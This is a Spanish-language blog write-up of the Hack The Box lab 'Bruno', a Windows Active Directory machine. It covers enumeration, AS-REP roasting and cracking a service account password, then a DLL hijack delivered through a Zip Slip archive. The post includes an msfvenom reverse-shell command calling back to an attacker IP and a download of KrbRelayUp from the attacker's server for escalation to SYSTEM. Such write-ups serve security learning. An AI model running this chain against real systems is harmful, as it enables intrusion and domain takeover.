Post

Bruno - HTB

Bruno - HTB

Comencé el análisis de esta máquina realizando un escaneo de puertos tcp con nmap:

1
sudo nmap -p- -vvv --min-rate 10000 10.129.238.9

Escaneo de nmap

Resultados Iniciales y Reconocimiento

Tras examinar los puertos abiertos, clasifiqué los servicios expuestos:

==Servicios de Infraestructura de Dominio (Active Directory)==

  • Port 88 (Kerberos): Autenticación de usuarios en el dominio.
  • Port 389 / 636 / 3269 (LDAP/S): Protocolo de acceso a directorios. Es la base de datos de usuarios y objetos de Active Directory.
  • Port 53 (DNS): Resolución de nombres de dominio (fundamental para que AD funcione).
  • Port 9389 (AD Web Services): Utilizado para la administración remota de Active Directory mediante PowerShell.

==Transferencia de Archivos y Compartición==

  • Port 21 (FTP): Microsoft ftpd.
  • Port 139 / 445 (SMB/NetBIOS): Compartición de archivos y carpetas en Windows.

==Administración y Acceso Remoto==

  • Port 3389 (RDP): Escritorio remoto (Terminal Services).
  • Port 5985 (WinRM): Administración remota vía HTTP. Es el puerto que usaría con herramientas como evil-winrm.

==Servicios Web==

  • Port 80 (HTTP): Servidor IIS 10.0 (página por defecto de Windows Server).
  • Port 443 (HTTPS): Servicio web seguro. El certificado menciona una entidad certificadora interna: bruno-BRUNODC-CA.

==Puertos de Soporte de Windows (RPC)==

  • Port 135 (RPC Endpoint Mapper): Ayuda a los servicios a comunicarse entre sí.
  • Puertos Altos (49664 a 61193): Son puertos efímeros dinámicos utilizados por el sistema para servicios RPC y llamadas a procedimientos remotos.

A continuación, pasé a enumerar los recursos compartidos mediante SMB:

Enumeración de SMB

Configuración del Entorno Local

Agregué el objetivo y el controlador de dominio a mi /etc/hosts:

1
echo "10.129.238.9 bruno.vl BRUNODC BRUNODC.bruno.vl" > /etc/hosts

Dado que interactuaríamos con Kerberos, ajusté la sincronización de tiempo con el controlador de dominio de la máquina:

1
sudo ntpdate brunodc.bruno.vl

Enumeración Web y Subdominios

Luego, procedí a lanzar un escaneo para el descubrimiento de subdominios usando ffuf:

1
ffuf -u http://10.129.238.9 -H "Host:FUZZ.bruno.vl" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

Descubrimiento de subdominios

Al inicio, no encontré información alguna en la página por defecto del IIS:

Página por defecto

Sin embargo, en el subdominio dev.bruno.vl que descubrimos, encontré un panel en construcción o de mantenimiento:

Subdominio dev

Enumeración de Compartidos y FTP

Probé enumerar los recursos compartidos a través de sesiones nulas:

Recursos con guest

Más recursos SMB

Decidí también conectarme al FTP para comprobar si permitía usuarios anónimos:

1
2
ftp 10.129.238.9
anonymous

Acceso anónimo por FTP

Explotación Inicial (Footprint a la Intranet)

Testeé la validez los posibles usuarios que había recopilado utilizando Kerbrute:

Validación con Kerbrute

Con usuarios válidos en mano, realicé ataques de envenenamiento y Kerberoasting. Intenté un ataque AS-REP ROAST:

1
netexec ldap brunodc.bruno.vl -u svc_scan -p '' --asreproast svc_scan.asreproast

AS-REP Roast

Logré extraer el hash de Kerberos:

1
$krb5asrep$23$svc_scan@BRUNO.VL:8250e1f2b7f91d5de2177219b7...

Y procedí a crackear el hash capturado con mi diccionario local:

1
hashcat svc_scan.asreproast /usr/share/wordlists/rockyou.txt

La contraseña resultó ser Sunshine1.

Contraseña descifrada

Reutilizando esta nueva cuenta, volví a listar los recursos compartidos:

1
netexec smb brunodc.bruno.vl -u svc_scan -p Sunshine1 --shares

Shares de nuevo usuario

Pude revisar con atención algunos “shares”, especialmente enfocándome en aquellos con permisos menos estrictos.

Shares accesibles

Y me di cuenta de que tenía permisos de escritura, por lo cual era capaz de subir archivos.

Archivos del directorio de despliegue

Logs y configuraciones

Movimiento Lateral y Elevación de Privilegios

DLL Hijacking

Si analizamos cómo la máquina procesa la inclusión de librerías, al filtrar en ProcMon observamos errores de tipo “NAME NOT FOUND”. El comportamiento que identifiqué es que el programa SampleScanner.exe le dice a Windows: “Necesito el archivo hostfxr.dll, búscalo en mi carpeta actual (C:\samples\app\)”. Windows responde “No está ahí”, e inmediatamente después Windows lo busca en la carpeta del sistema (C:\Program Files\dotnet\...), donde ahí sí logra encontrarlo.

Aprovechándome de esto, creé un payload malicioso para secuestrar el flujo (DLL Hijacking):

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.96 LPORT=443 -f dll -o hostfxr.dll

Payload DLL

Para la inyección a través del proceso de descompresión o la ingesta en el servidor vulnerable, empaqueté la DLL en un .zip empleando las rutas relativas.

1
2
3
4
5
6
7
8
9
10
11
import zipfile

with open('hostfxr.dll', 'rb') as f:
    datos_dll = f.read()

# Creamos el ZIP malicioso
with zipfile.ZipFile('slip-shell.zip', 'w') as zip:
    # Usamos la ruta relativa (posible Zip Slip de paso si aplicara)
    zip.writestr('../app/hostfxr.dll', datos_dll)

print("¡Archivo slip-shell.zip creado con éxito!")

Generando el zip malicioso

Coloqué el archivo slip-shell.zip en el directorio de la aplicación correspondiente y esperé unos minutos.

Subiendo zip a SMB

Espera de trigger

Y logré exitosamente obtener una Reverse Shell desde la máquina comprometida a mi listener de netcat:

Conexión recibida

Reverse Shell confirmada

Escalada a Administrator / System

Una vez establecido en la máquina, procedí a descargar en el objetivo la herramienta KrbRelayUp.exe empleando mi propio servidor HTTP en python.

1
iwr -uri http://10.10.14.96/KrbRelayUp.exe -OutFile KrbRelayUp.exe

Descarga de KrbRelayUp

Server Python

Ejecuté el relay para vulnerar el dominio mediante la creación de una cuenta de máquina para abusar de su certificado/SPN, y luego impersonar un usuario avanzado.

1
.\KrbRelayUp.exe relay -Domain bruno.vl -CreateNewComputerAccount -ComputerName 'hano$' -ComputerPassword hano7766

Relay con KrbRelayUp

Con esta última vulnerabilidad en Active Directory obtuve una sesión completa con privilegios comprometiendo el DC o logrando escalar al System:

System obtenido

¡Máquina rooteada exitosamente!

This post is licensed under CC BY 4.0 by the author.